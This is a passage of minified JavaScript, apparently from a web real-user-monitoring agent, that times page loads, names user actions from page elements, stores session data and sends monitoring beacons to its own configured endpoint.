)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substring(0, 4))}function W(){return"1"===navigator.doNotTrack||"yes"===navigator.doNotTrack||"1"===navigator.msDoNotTrack||"1"===mb.doNotTrack}function la(){return/(gomezagent|googlebot|adsbot-google|mediapartners-google|bingbot|slurp|duckduckbot|baiduspider|yandexbot|sogou|exabot|facebot|facebookexternalhit|ia_archiver)/i.test(navigator.userAgent)}function ua(a){return z&&db(a,13)&&"navigation"!==a.entryType||db(a,["_dtCl"])}function Ka(a){return T&&db(a,14)||db(a,["entryType","requestStart"])&&"navigation"=== a.entryType}function Hb(a){var b;if(!a)return null;var d=null===(b=a.getEntriesByType)||void 0===b?void 0:b.call(a,"navigation")[0];Ka(d)||(d=a.timing);return d}function ib(a,b){void 0===b&&(b=!1);if(!a)return null;for(var d,f=qa(a),l=0,r=ub;l<r.length;l++)if(d=aa(a,r[l],b)||-1,0<d&&d!==f)return Math.round(d);return null}function aa(a,b,d){void 0===d&&(d=!1);var f=Hb(a);if(!f)return null;b=f[b];if("number"!==typeof b||0===b)return null;a=qa(a);Ka(f)?d&&(b+=a):d||(b-=a);return Math.round(b)}function qa(a){var b; return Math.round(a.timeOrigin||(null===(b=a.timing)||void 0===b?void 0:b.navigationStart)||-1)}function V(){return Mb}function pa(){return Kb}function Va(){return de}function nb(){return Be}function lb(){return ge}function jb(){return Nd}function Ab(a,b){a?a.id===a.ta()&&(Aj=a):Aj=b?null:Aj}function gc(a){return a?nn?nn.call(a):a.replace(/^\s+|\s+$/g,""):""}function Vb(a){try{var b=a.tagUrn;return b&&-1!==yc(b,"schemas-microsoft-com:vml")}catch(d){return!0}}function Ha(a){if(!a||-1===a.indexOf("://"))return""; a=a.split("/")[2].split(":")[0].toLowerCase();a:{var b=0;for(var d=co;b<d.length;b++)if(0<=a.indexOf(d[b])){b=!0;break a}b=!1}return b?"":a}function yb(a){var b=0;if(a)for(var d=a.length,f=0;f<d;f++)b=31*b+a.charCodeAt(f),b&=b;return b}function vb(a,b,d){hj(ca,[a,b,d])}function ca(a,b,d){try{mb.sessionStorage.setItem(a,String(b))}catch(f){d||lf(a,String(b),void 0,hc("ssc"))}}function Oa(a,b,d){void 0===d&&(d=!0);var f=!0;try{mb.localStorage[a]=b}catch(l){f=!1,d&&lf(a,b,void 0,hc("ssc"))}return f} function Za(a,b){try{return mb.sessionStorage[a]||""}catch(d){}return b?"":ng(a)}function I(a){var b=[];if(a)for(var d=0;d<a.length;d++){var f=a.charAt(d),l=Qm[f];l?Ob(b,l):Ob(b,f)}return b.join("")}function ka(a){if(!a)return"";for(var b="",d=0;d<a.length;d++){var f=on[a.charAt(d)+a.charAt(d+1)];f?(b+=f,d++):b+=a.charAt(d)}return b}function Ba(a){return a?ka(a).replace(/_5F/g,"_").replace(/_25/g,"%").replace(/_7C/g,"|"):""}function $a(a){if(!a)return"";a=a.replace(/_/g,"_5F").replace(/%/g,"_25").replace(/\|/g, "_7C");return I(a)}function Cb(a){var b=[],d="";"string"===typeof a?d=a:"object"===typeof a&&a&&(d=a.toString());a=Xc("spc")+"\t\n\r";for(var f=0;f<d.length;f++){var l=d.charAt(f);-1===yc(a,l)&&Ob(b,l)}return b.join("")}function bd(){var a=mb.location;if(a){a=a.href;var b=yc(a,"#");0<=b&&(a=a.substring(0,b));return a}return"-"}function Qb(a,b){a=Math.round(a);(b||de)&&0<a&&lf("dtLatC",String(a),void 0,hc("ssc"));return a}function Zb(a,b,d,f,l){return q(a,b,d,f,!1,l)}function q(a,b,d,f,l,r){void 0=== r&&(r="win");try{var G=Ph[r]||{};G[b]=a[b];Ph[r]=G;Object.defineProperty(a,b,{get:d||function(){return G[b]},set:function(ea){G[b]=ea;f&&(ea||l)&&f.apply(a,[ea])},configurable:!0});return!0}catch(ea){}return!1}function D(a,b,d,f){if((f=f||a[b])&&Object.defineProperty&&(!p.ie||8<p.ie)){var l=d||"win";try{delete a[b]&&(a[b]=f,Ph[l]&&(Ph[l][b]=null))}catch(r){try{Object.defineProperty(a,b,{get:function(){return Ph[l]&&Ph[l][b]},configurable:!0})}catch(G){}}}}function t(a){lf("dtUseDebugAgent",a,void 0, hc("ssc"))}function y(a){lf("dt_dbg_console",a,void 0,hc("ssc"))}function Y(a){void 0===a&&(a="TRACE");lf("dt_dbg_logfilter","level=".concat(a,"|featureHash=|fileName="),void 0,hc("ssc"))}function x(a){var b=a.match(/:([0-9]+)/);return b?b[1]:0===yc(a,"https")?"443":"80"}function oa(a){if(!a)return!1;a=gc(a).toLowerCase();0===a.indexOf("//")&&(a=location.protocol+a);var b=0===yc(location.href,"http");if(0!==yc(a,"http")||!b)return!1;if(yc(location.href,location.host)!==yc(a,location.host.toLowerCase()))return!0; b=location.port||x(location.href);return x(a)!==b}function R(a){try{var b=document.createElement("a");b.href=a;return b.cloneNode(!0).href}catch(d){return a}}function O(){try{return p.ie||p.edge?encodeURI(mb.location.href):mb.location.href}catch(a){}return""}function wa(a){if(!a)return"";try{var b=void 0,d=R(a);if(!mb.location)return d;var f=mb.location,l=f.origin;if(!l){if(!f.protocol||!f.host)return d;l=f.protocol+"//"+f.host}var r=b=d.substring(0,l.length+1).toLowerCase()===(l+"/").toLowerCase()? d.substring(l.length):d}catch(G){r=a,0===yc(a,"?")&&(r=mb.location.pathname+a)}return Ga(r,500)}function Ga(a,b,d,f){void 0===b&&(b=100);void 0===d&&(d=!1);void 0===f&&(f="...");return!a||a.length<=b?a:d?f+a.substring(Math.max(0,a.length-b+f.length)):a.substring(0,Math.max(0,b-f.length))+f}function Wa(a){var b=Tc("sl");return Ga(a,b)}function Eb(a,b,d){return a.apply(b,d||[])}function Lb(a,b,d,f){if(d)if(d=Ga(d,Tc("mhl")),a[f].set){var l=a[f].set(b,d);l&&l.get&&l.get(b)===d&&(a[f]=l)}else a[f][b]= d}function Nb(a){return Object.getPrototypeOf?Object.getPrototypeOf(a):Object.__proto__===Object.prototype&&Array.__proto__===Array.prototype?a.__proto__:a.constructor?a.constructor.prototype:void 0}function ac(a){return Ra(a,"prototype")?a.prototype:Nb(a)}function rc(a){return a?a.split("?")[0]:""}function mc(){var a=qi();if(a){var b=yc(a,"-");a=-1===b?"":a.substring(0,b);if(a){b="";for(var d=0;d+1<a.length;d+=2)b+=String(a.charCodeAt(d)+a.charCodeAt(d+1));a=Math.floor(Math.abs(1E7*Math.sin(parseInt(b, 10))))}else a=0}else a=!1;return a}function Oc(){var a=Ii();return 3===a?!0:4===a?!1:!!Tc("rdnt")&&W()}function Kc(a,b,d){if(!a||!b)return[];for(var f=[],l=0;l<a.length;l+=b){if(l+b<=a.length){var r=a.slice(l,l+b);"%"===r.charAt(r.length-1)&&a.length>=l+b+1&&(r+=a.charAt(l+b),r+=a.charAt(l+b+1),l+=2);"%"===r.charAt(r.length-2)&&a.length>=l+b+2&&(r+=a.charAt(l+b),l+=1)}else r=a.slice(l);f.push(r)}if(d)for(a=f.length,b=0;b<a;b++)f[b]=d.replace(/#index#/,String(b+1)).replace(/#total#/,String(a))+f[b]; return f}function gd(a){return Array.prototype.slice.call(a)}function ma(a){return!1===a?0:"number"===typeof a?2:1}function Ca(a,b){void 0===b&&(b=Tc("rtu"));if(!a)return"";var d=Tc("rtp");if(!d||a.length>b&&2===d)a=rc(a);var f=$a(a);if(f.length>b){d=$a(Ha(a));a=a.split("/");a=a[a.length-1];var l=$a(a);if(l!==d){if(f=d+"/../"+l,b=f.length-b,0<b)if(l.length>b){b=Math.max(l.length-(b+2),0);f=Math.max(a.length-b,0);for(l=$a(a.substring(f,a.length));l.length>b;)f+=Math.ceil((l.length-b)/3),l=$a(a.substring(f, a.length));f=d+"/../.."+l}else f=Ga(d,b,!1,".../")+l}else f=Ga(f,b,!0)}return f}function Ra(a,b){return Object.prototype.hasOwnProperty.call(a,b)}function Sa(a,b){void 0===b&&(b=qa(mb.performance));var d=1E3*Tc("oat");return b+d>=a?a:-2}function Db(){return C().disabled&&!Z(C())}function Yb(){Z(C())||(vb("dtDisabled",!0),C().disabled=!0)}function Na(a,b){return hk(a,b)||oe(a)||""}function oc(a){if(Object.keys)return Object.keys(a);var b=[];if(a===Object(a))for(var d in a)Ra(a,d)&&b.push(d);return b} function rb(a,b){a=Bj[a];-1<mf(a,b)||Ob(a,b)}function wb(a,b){a=Bj[a];b=mf(a,b);-1!==b&&eb(a,b)}function pc(a){for(var b=[],d=0,f=Bj[a.kind].slice();d<f.length;d++){var l=(0,f[d])(a);l&&(Ue(l,0)?b=b.concat(l):Ob(b,l))}return b}function Sc(){var a=gk,b=gb();a!==b&&rb("DEBUG_INFO_REQUESTED",function(){return{type:"miav",severity:"Warning",text:"Snippet version(".concat(a,") does not match the version of the monitoring code(").concat(b,"). Consider updating your code snippet for best compatibility.")}}); rb("DEBUG_INFO_REQUESTED",function(){return{type:"v",severity:"Info",text:"Snippet version: ".concat(a," ; Monitoring code:").concat(gb())}})}function ed(){for(var a=Ze.oa.length-1;0<=a;a--){var b=Ze.oa[a];if(b.$b()&&!b.ma||b.ma&&b.We())return b}return null}function $b(a){return Ze.actions[a]}function Ac(a,b,d,f,l,r){void 0===l&&(l=!1);void 0===r&&(r=!1);if(l)Nc(a,b,d,f,r);else{try{for(l=0;l<a.length;l++)b.call(d,a[l],l,a,function(){})}catch(ea){var G=ea}if(f)G?f.call(d,a,G):f.call(d,a);else if(G)throw G; }}function Ic(a,b,d,f,l){void 0===f&&(f=!1);void 0===l&&(l=!1);return new ra(function(r,G){Ac(a,b,d,function(ea,ya){ya?G(ya):r(ea)},f,l)})}function Nc(a,b,d,f,l){function r(Tb){pb=Tb;qd(function(){G(Tb,ya)})}function G(Tb,Hc){if(!zb){try{4>b.length&&ob++;var zc=b.call(d,Hc[Tb],Tb,Hc,function(){function Pc(Dh){pb=Dh;qd(function(){G(Dh,ya)})}ob++;ob===Hc.length&&ea();for(var Ke=pb+1;Ke<Hc.length;Ke++)Pc(Ke)})}catch(Pc){var Ad=Pc;zc=!1}Tb=function(Pc){pb=Pc;qd(function(){G(Pc,ya)})};for(var Zd=pb+1;Zd< Hc.length;Zd++)Tb(Zd);(!1===zc||Ad)&&ea(Ad);ob!==Hc.length||zb||ea()}}function ea(Tb){f&&!zb&&(f.apply(d,Tb?[ya,Tb]:[ya]),zb=!0)}void 0===l&&(l=!1);var ya=l?a:Array.prototype.slice.call(a),ob=0,zb=!1,pb=0;for(a=0;a<ya.length;a++)r(a);ob===ya.length&&qd(ea)}function qd(a){om||(om=!0,Zc(function(){om=!1;var b=ul;ul=[];for(var d=kc(),f=0;f<b.length&&35>kc()-d;)b[f](),f++;for(d=f;d<b.length;d++)qd(b[d])},0));ul.push(a)}function ad(a,b){if(ta(Array.prototype.filter))return Array.prototype.filter.call(a, b);for(var d=[],f=0;f<a.length;f++){var l=a[f];b(l,f,a)&&d.push(l)}return d}function dc(a,b,d,f){void 0===f&&(f=!1);return d?new ra(function(l,r){var G=[];Ac(a,function(ea,ya){b(ea,ya,a)&&G.push(ea)},null,function(ea,ya){ya?r(G):l(G)},d,f)}):ra.resolve(ad(a,b))}function Lc(){return vl}function jd(a){a=I(a);-1===mf(pm,a)&&Ob(pm,a)}function bc(a){return-1!==mf(pm,a)}function ic(){var a=C();try{for(var b=n;b&&b!=mb;){var d=b.dT_;if(d&&"ea"in d&&d.version===gb())return d.tdto();d&&"ea"in d&&(Ji[d.version]= 1);b=b!==b.parent?b.parent:void 0}}catch(f){}return a}function Pd(){return!Ki}function af(a,b,d,f){b=ad(oc(Ji),Se);Cj.push.apply(Cj,b);0<b.length&&(b.unshift(gb()),a.av(f,"afv",b.join(",")));Ji={}}function Se(a){return 0>mf(Cj,a)}function Qd(){Ji={};try{if(n&&n!=mb){var a=n.dT_;if(a){var b=a.version;b===gb()?(Wg=a,Ki=Wg.tdto()):Ji[b]=1}}}catch(d){}Qe(af);a=C();Ki?(vl=Ki.pageId,a.Jd=Ki.Jd,Vl=Wg.gFId(),Wg.hi++):(vl=bg(),a.Jd=U());a.pageId=vl;rb("DEBUG_INFO_REQUESTED",function(){ic();var d=oc(Ji);return 0=== d.length?null:{severity:"Error",text:"Version of current agent ".concat(gb()," mismatches with version").concat(1<d.length?"s":""," ").concat(d.join(", ")," of parent frames. Make sure to use the same version on all frames to secure compatibility!"),type:"mpv"}})}function ke(){var a=ic();if(a===C()||!a.gITAID)return Wl++;a=a.gITAID();Wl=a+1;return a}function Wc(a){return a.id}function Te(){return!ed()}function Bd(a){return(a=$b(a))&&a.Ma?a:null}function Rd(a){return(a="number"===typeof a?Bd(a):a)? a.La():""}function Xe(a,b,d){var f=Nd;d&&(f=$b(d));if(!f)return!1;f.Ne(a,b);return!0}function ye(){var a=og(!0);if(0<a.length){for(var b=[],d=0;d<a.length;d++){var f=a[d];f.frameId!==bg()&&Ob(b,f)}ij(b)}}function zd(a){if(!a)return"";var b=bg()+"h"+a,d=document.cookie,f=hk("dtPC",d);return hc("dASXH")&&f&&0<=yc(f,b)&&!Q()?"":Li()+"$"+bg()+"h"+a+"v"+qi(d)+"e0"}function ze(a){for(var b=nh.length-1;0<=b;b--)if(nh[b]===a){eb(nh,b);break}}function ne(a){if(0<Dj||a&&0<nh.length)if(a=nh.length,0<a)return nh[a- 1];return 0}function vd(a){return a&&1===a.length?-1!==yc(Xc("featureHash"),a):!1}function He(a,b,d,f){void 0===f&&(f=ve(a));var l=mb.dT_,r=Z(C());b=b||!r;a=r&&-1===yc(l.iMod(),a);return b&&d&&(f||a)}function ve(a){var b=mb.dT_;if(b.ism(a)&&-1===yc(b.iMod(),a))return b.iMod(a),!0;b.ism(a)&&(a='Module "'+a+'" already enabled!',Qh()&&mb.console.log("WARNING: "+a));return!1}function u(a){var b=Pf.initializedModules||"";a&&(b+=a);return Pf.initializedModules=b}function E(a,b){void 0===b&&(b=gb());var d= Xc("agentUri");d=d.substring(0,d.lastIndexOf("/"));var f=Xc("csu");"true"===ng("dtUseDebugAgent")&&mb.dT_debugger&&0>f.indexOf("dbg")&&(f=Xc("debugName")||f+"dbg");return"".concat(d,"/").concat(f,"_").concat(a,"_").concat(b,".js")}function N(a){return Pf[a]}function ha(a,b){Pf[a]=String(b)}function sa(a,b,d){if(ta(Array.prototype.reduce))return Array.prototype.reduce.call(a,b,d);var f="undefined"!==typeof d;d=f?d:a[0];if("undefined"===typeof d)throw new TypeError("Reduce of empty array with no initial value"); for(f=f?0:1;f<a.length;f++)d=b(d,a[f],f,a);return d}function Ia(a,b,d,f){var l=ef()+Math.round(d.startTime),r=l-a;l>=a&&l<=b&&0<=r&&(null==f.Ia||r<f.Eb)&&(f.Ia=d,f.Eb=r)}function bb(a,b,d){return sa(a,function(f,l){Ia(b,d,l,f);return f},{Ia:null,Eb:Number.MAX_VALUE}).Ia}function cb(a,b){return ad(a,function(d){return d.initiatorType===b})}function Fb(a,b,d,f){try{if(!(a&&performance&&performance.getEntriesByName))return null;var l=R(a);0===yc(l,"/")?l=location.protocol+"//"+location.host+l:0!==yc(l, "http")&&(l=location.href.substring(0,location.href.lastIndexOf("/")+1)+l);var r=performance.getEntriesByName(l);b&&(r=cb(r,b));if(r.length)return d?bb(r,d,f||Number.MAX_VALUE):r[r.length-1];r=performance.getEntriesByType("resource");b&&(r=cb(r,b));-1===l.indexOf("?")&&(l+="?");for(var G={Ia:null,Eb:Number.MAX_VALUE},ea=r.length-1;0<=ea;ea--){var ya=r[ea];if(0===ya.name.lastIndexOf(l,0))if(d)Ia(d,f||Number.MAX_VALUE,ya,G);else return ya}return G.Ia}catch(ob){return null}}function Ib(a){try{var b= Fb(a,"xmlhttprequest");if(ua(b)){var d=(b.requestStart-(b.redirectEnd||b.startTime))/2;0<d&&Qb(d);return!0}}catch(f){}return!1}function fc(a,b,d,f){function l(){}function r(){}var G=a.path,ea=a.Ka,ya=a.async,ob=kc();f&&(r=function(zb){return function(pb){if(Eh)for(var Tb=0,Hc=Eh();Tb<Hc.length;Tb++)(0,Hc[Tb])(b,"success",pb);Tb=kc()-zb;Ib(G)||Qb(Tb/2);Tb=pb&&pb.split("|");for(Hc=1;Hc<Tb.length;Hc++){var zc=Tb[Hc].split("=");if("dtCookie"===zc[0]||"sn"===zc[0]){if(zc=decodeURIComponent(zc[1]),Mi(zc)){jj(zc); try{mb.sessionStorage&&mb.sessionStorage.removeItem("dtCookie")}catch(kj){}}}else if("name"===zc[0]){zc=void 0;var Ad=pb;if(mb.localStorage)try{var Zd=Cd(),Pc=mb.localStorage.getItem(Zd),Ke=Xc("cuc"),Dh=0;if(Pc){var Ve=cg(Pc),Qf=Ni(Ve.config||"",Ve);Ve.name&&(Qf.csu=Ve.name);Dh=$d(Qf.lastModification||"0")}var ri=cg(Ad),sf=Ni(ri.config||"");if(!Ke||!sf.cuc||Ke===sf.cuc){sf.csu=ri.name||Xc("csu");var ff=$d(sf.lastModification||"0");ff>Dh&&(mb.localStorage.setItem(Zd,Ad),wl(sf),Ej(sf,!0),Nk(sf),Fj(sf), ff>(Pf.lastModification||0)&&(Pf=Xl(sf),pc((zc={},zc.kind="CONFIG_UPDATE",zc.detail=Pf,zc))))}}catch(kj){}}else"enabled"===zc[0]&&"false"===zc[1]&&Yb()}}}(ob),l=function(zb){if(Eh)for(var pb=0,Tb=Eh();pb<Tb.length;pb++)(0,Tb[pb])(b,"fail",zb);qm++;if(p.sf||p.msf){if(oh.length)for(zb=kc(),pb=0;pb<oh.length;pb++)oh[pb].time<zb&&oh.splice(pb--);Ob(oh,{path:G,data:ea,time:kc()})}if(!se)try{if(mb.localStorage){var Hc=Cd();mb.localStorage.removeItem(Hc)}}catch(zc){}});if("onreadystatechange"in d){if(d.onreadystatechange= Ec(b,r,l,a),ya&&"timeout"in d&&"ontimeout"in d&&(a=Tc("xt")))d.timeout=a,d.ontimeout=ld(a)}else d.timeout=Tc("xt"),d.onload=function(){r(this.responseText)},d.onprogress=function(){},d.ontimeout=function(){}}function Ec(a,b,d,f){return function(){var l=f.vc,r=f.wc;if(4===this.readyState)try{if(200===this.status)b(this.responseText);else if(429===this.status){for(var G=0,ea=ge;G<ea.length;G++)ea[G].Db();Yb();d(this.status,this.responseText)}else d(this.status,this.responseText)}catch(ya){d(0)}if(a)try{a.ef(this.readyState, this.status,l,r)}catch(ya){}}}function ld(){return function(){try{this.abort()}catch(a){}}}function fd(a,b){void 0===b&&(b=!0);for(var d=a.path,f=a.Ka,l=a.Fa,r=a.async,G=a.beacon,ea=a.Ge,ya=3,ob=!1;0<ya;)try{var zb=void 0,pb=hc("cors");if(pb){var Tb=Gj();var Hc="withCredentials"in Tb?Tb:mb.XDomainRequest?new mb.XDomainRequest:null}else Hc=Gj();zb=Hc;if(!zb)return!1;"onreadystatechange"in zb?zb.open("POST",d,r):zb.open("POST",d);"setRequestHeader"in zb&&(zb.setRequestHeader("Content-Type",ea?"application/octet-stream": "text/plain;charset=UTF-8"),l&&l!==O()&&!pb&&zb.setRequestHeader("x-dtreferer",Ga(l,Tc("mhl"))));G&&fc(a,G,zb,b);zb.send(f);ya=0;ob=!0}catch(zc){ya--}return ob}function hd(a){return La({path:"",Fa:"",Ka:"",vc:0,wc:1,async:!1},a)}function od(a,b){var d=!1;a.xc&&(d=!we(a.path,a.Ka));if(!a.xc||d)a=fd(a,!0),b=b&&a;return b}function we(a,b){try{var d=navigator.sendBeacon(a,b||"")}catch(f){d="Error sending signal via sendBeacon: "+f+": "+a}d||++qm;return d}function ce(a,b){void 0===b&&(b=!1);var d=["i".concat(a.id), "k".concat(a.kind),"h".concat(Number(a.hydrated))];b&&d.push("t".concat(Number(a.trigger)));return d.join(";")}function Xd(a){if(a)for(var b=mh("LABEL"),d=ph(b),f=0;f<d;f++){var l=b[f];if(l&&"LABEL"===l.nodeName&&l.htmlFor===a)return Hd(l.innerText,l.textContent)}return""}function Hd(){for(var a=[],b=0;b<arguments.length;b++)a[b]=arguments[b];for(b=0;b<a.length;b++){var d=a[b];if("string"===typeof d&&(d=gc(d)))return d}return""}function xf(a){if(a){if(0===yc(a,"data:"))return"";a=a.split("/");if(0< a.length)return a[a.length-1].split(".")[0]}return""}function Of(a){if(a&&a.split){var b=a.split("/");if(0<b.length&&(b=gc(b[b.length-1]),null!==b))return b}return a||""}function Dg(a){return Pa(a)?a.innerText||a.textContent:a.textContent}function jh(a,b){var d=b.nodeName?b.nodeName.toUpperCase():"unknown",f=za(b)?b.getAttribute("type"):"";f="string"===typeof f?f.toUpperCase():"";var l="";switch(a){case 0:za(b)?(d="",ab(b)&&"HIDDEN"!==f&&(d=!f||"BUTTON"!==f&&"SUBMIT"!==f&&"RESET"!==f&&"IMAGE"!==f? null:b.value,a=Xd(b.id),d=!f||"BUTTON"!==f&&"SUBMIT"!==f&&"RESET"!==f?Hd(a,d):Hd(d,a)),d||(d=Hd(Dg(b))),l=d):l="";break;case 1:d="";if(ab(b)&&"HIDDEN"!==f||b&&"BUTTON"===b.nodeName)f="IMAGE"===f?b.getAttribute("alt"):null,d=Hd(b.name,b.title,f);l=d;break;case 3:za(b)?(b=b.className,l=db(b,["baseVal","animVal"])?b.baseVal||b.animVal||"":b):l="";break;case 4:b="";"INPUT"===d&&"HIDDEN"!==f?b="INPUT: "+f:"A"===d?b="LINK":"-"===si&&(si=b=d);l=b;break;case 2:d="",ab(b)&&"IMAGE"===f?d=xf(b.src):b&&"A"=== b.nodeName?d=Hd(b.title,Of(b.href)):b&&"IMG"===b.nodeName?d=Hd(b.name,b.title,b.alt,xf(b.src)):b&&"FORM"===b.nodeName&&(d=Hd(b.name,b.id,b.action)),d||(d=Hd(b.title,b.data,b.wholeText,b.id)),l=d}return l}function pf(a){if(!a)return"";try{if(p.ie&&Vb(a))return"VML Node";var b=a.nodeName?a.nodeName.toUpperCase():"unknown";if("HTML"===b||"BODY"===b||"HEAD"===b||"#DOCUMENT"===b)return si;for(b=0;4>=b;b++){var d=jh(b,a);if(d&&d!==si)return d}return pf(a.parentNode)}catch(f){}return""}function Vf(a,b){if(!b)return""; var d=ph(b);if(0>=d||20<xl)return"";for(var f=0;f<d;f++){var l=b[f];if(p.ie&&Vb(l))return"VML Node";var r;xl++;if(r=Vf(a,l.childNodes))return r;xl--;if(r=jh(a,l))return r}return""}function Bb(a){try{var b=a.nodeName?a.nodeName.toUpperCase():"unknown";if("HTML"===b||"BODY"===b||"HEAD"===b||"#DOCUMENT"===b)return"Page: "+rm;if(a&&"SELECT"===a.nodeName){var d=a.nodeName?a.nodeName.toUpperCase():null,f=Xd(a.id),l=Hd(f,a.name,d),r=null;if(!a.multiple){var G=a.options&&-1<a.selectedIndex?a.options[a.selectedIndex]: null;G&&(r=Hd(G.label,G.innerText,G.textContent))}return r?"["+l+"] to value ["+r+"]":l}if(a&&"TEXTAREA"===a.nodeName){var ea=a.nodeName?a.nodeName.toUpperCase():null,ya=Xd(a.id);return Hd(ya,a.name,ea)||a.nodeName}var ob=Hd(Dg(a));if(ob)return ob;xl=0;if(a.childNodes&&0<ph(a.childNodes)){a:{for(l=0;4>=l;l++){var zb=Vf(l,[a]);if(zb){r=zb;break a}}r=""}return r}}catch(pb){}return pf(a)}function tg(){Rm=Xc("uana").split(",");pn=Tc("uanpi")||0}function J(){return Hf}function B(a){3===a&&(Xg=[]);Hf=a} function K(){return ae}function Fa(a){var b=ad(lj,function(d){return d.timestamp<=a});return b[b.length-1]||null}function Ya(a){Ue(a,0)?Xg.push.apply(Xg,a):Xg.push(a)}function tb(a){var b=zf;try{for(;b;){var d;if(d=a.target&&"string"!==typeof a.target&&a.target!==b.target&&"string"!==typeof b.target)a:{try{for(var f=a.target.parentNode;f;){if(f===b.target){d=!0;break a}f=f.parentNode}}catch(l){}d=!1}d&&(a=b);b=b.next}}catch(l){}zf=a}function Sb(a){var b,d=a.Cg,f=a.url,l=a.title,r=a.view;return b= {id:a.id,target:a.target,name:"",type:a.type,next:void 0,ob:void 0,info:a.kf||"-",start:kc(),Sb:!1,Sd:kc()+(d||30),url:f||O(),title:l||U(),aa:""},b.view=r,b.Ob=function(){if(!this.name){if(hc("uam"))var G={aa:"dTMasked_"+(Pa(this.target)?this.target.nodeName:"")};else{var ea=this.target||"";si="-";if(p.ie&&Vb(ea))G={aa:"VML Node"};else if("string"===typeof ea)G={aa:ea};else if(za(ea)){G=Bb(ea)||si;a:{try{for(var ya=0;ya<=pn;ya++){for(var ob=0,zb=Rm;ob<zb.length;ob++){var pb=ea.getAttribute(zb[ob]); if(pb){var Tb=pb;break a}}if(ea.parentElement)ea=ea.parentElement;else break}}catch(Hc){}Tb=""}G={aa:G,Lb:Tb}}else G={aa:si}}G.aa=Wa(Cb(G.aa));G.Lb=Wa(Cb(G.Lb));this.name=G.Lb||G.aa;G.Lb&&(this.aa=G.aa)}return this.name},b.oi=function(){return this.Sb},b.vg=function(){var G=this;do G.Sb=!0,G=G.next;while(G)},b}function Ub(a,b,d,f,l,r,G){void 0===G&&(G=ae);if(Yc(dg))return dg.bi(a,b,d,f,l,r,G);var ea=Sb({id:sm++,target:a,type:b,kf:d,Cg:f,url:l,title:r,view:G});try{return ik&&(ea.next=zf,ea.next&&(ea.next.ob= ea),tb(ea)),ea}finally{Zc(function(){dd(ea)},ea.Sd-kc())}}function Pb(){return Yc(dg)?dg.gci():zf}function cc(){return Yc(dg)?dg.gpi():Rh}function lc(a,b){if(Yc(dg))return dg.cii(a,b);b=b?cc():Pb();if(!b)return eo[a];switch(a){case "name":return b.Ob();case "type":return b.type;case "validUntil":return b.Sd;case "start":return b.start;case "target":return b.target;case "url":return b.url;case "title":return b.title;default:return null}}function $c(a){return lc(a,!0)}function Vd(a,b){return{timeout:a, url:lc("url",b),name:lc("name",b),startTime:lc("start",b),type:lc("type",b)||"-",title:lc("title",b)}}function yd(){for(var a=zf;a;)a.target=void 0,a=a.next;zf=void 0}function dd(a){if(Yc(dg))dg.ei(a);else if(zf){for(var b=zf;b.next&&b!==a;)b=b.next;b===a&&(lc("name")&&(Rh=zf),b.target=void 0,b.ob&&(b.ob.next=b.next),b.next&&(b.next.ob=b.ob),b===zf&&(zf=b.next))}}function ie(a){void 0===a&&(a="");return a?-1!==mf(Xc("doNotDetect")?Xc("doNotDetect").split(","):[],a):!1}function Kd(a,b,d){if(!ie(d)){var f= b?b:a;yl[a]=function(l){var r,G;pc((r={},r.kind="GLOBAL_EVENT_FIRED",r.detail=(G={},G.t=a,G.e=l,G),r));r=hc("ote");G=hc("ase");var ea="boolean"!==typeof l.isTrusted||l.isTrusted,ya=l.isRuxitSynthetic;if(G?ya:!r||ea){(r=l.target||l.currentTarget||l.srcElement||null)&&r.shadowRoot&&l.composed&&l.bubbles&&"function"===typeof l.composedPath&&(G=l.composedPath())&&G.length&&(r=G[0]);a:{G=r;if(("KD"===f||"KU"===f)&&ab(G)&&"password"!==G.type)if(l=l.keyCode||l.charCode||l.code,G=Number(l),hc("uam")&&!isNaN(G)){if(G= String.fromCharCode(G),!("a"<=G&&"z">=G||"A"<=G&&"Z">=G||"0"<=G&&"9">=G)){l=String(l);break a}}else{l=String(l);break a}l=""}Ub(r,f+l,void 0,30)}};If(document,a,yl[a])}}function Ne(a){(ik=a)||yd()}function Yc(a){return!!a&&a!==C()}function Ce(a){qn=a}function ig(a,b){var d;if(b<=qn)return!1;b=null===(d=Nd)||void 0===d?void 0:d.tb();d=!!b&&a===b.name;b=Aj;if(!b)return!d;a=a===b.name&&(!b.J||3E3>=kc()-b.start);return!d&&!a}function xc(a,b){if(!hc("dsa")||0!==yc(a,"false")){var d=hc("dssv"),f=hc("dsss"), l=f&&!d,r=d&&!f,G=!d&&!f,ea=b?a+"|"+b:a;f&&d&&vb("dtSa",ea);l&&(vb("dtSa",a),lf("dtSa",Hg(b||"-"),void 0,hc("ssc")));r&&(vb("dtSa",b||"-"),lf("dtSa",Hg(a),void 0,hc("ssc")));G&&lf("dtSa",Hg(ea),void 0,hc("ssc"))}}function Ld(){var a=Le[0];if(a){a.stop=0;var b=a;for(var d=0;d<a.subActions.length;d++)b=a.subActions[d],b.stop=0}return b}function Oe(a,b,d,f,l,r){void 0===a&&(a=kc());var G=ne(!0),ea=Nd||Ld(),ya=[];if(!G&&b&&d&&a)ya=[String(!l),I(d),l||"-1",I(b),I(f||"-"),a,bg(),$a(bd()),"","",I(location.hash.substring(1)), I(r||"")];else if(ea){ea.hb();var ob=ea.status;ea.status=2;Zc(function(){ea.status=ob},0);ya=["false",I(ea.type),ea.id,I(ea.name),I(ea.info||"-"),ea.start,bg(),$a(bd()),"","",I(location.hash.substring(1)),I(ea.aa||"")]}return ya}function cd(a,b,d){void 0===b&&(b=null);var f=!1,l=ic();try{f=l.iSAC()}catch(G){}if(!f||l===C()){a&&(xc("-"),Ok=[]);f=Pb();if(!f){var r=cc();r&&ig($c("name"),$c("start"))&&3E3>=kc()-$c("validUntil")&&(f=r)}r=[];f&&!f.Sb?(f.vg(),r=Oe(f.start,f.Ob(),f.type,f.info,f.G,f.aa)): 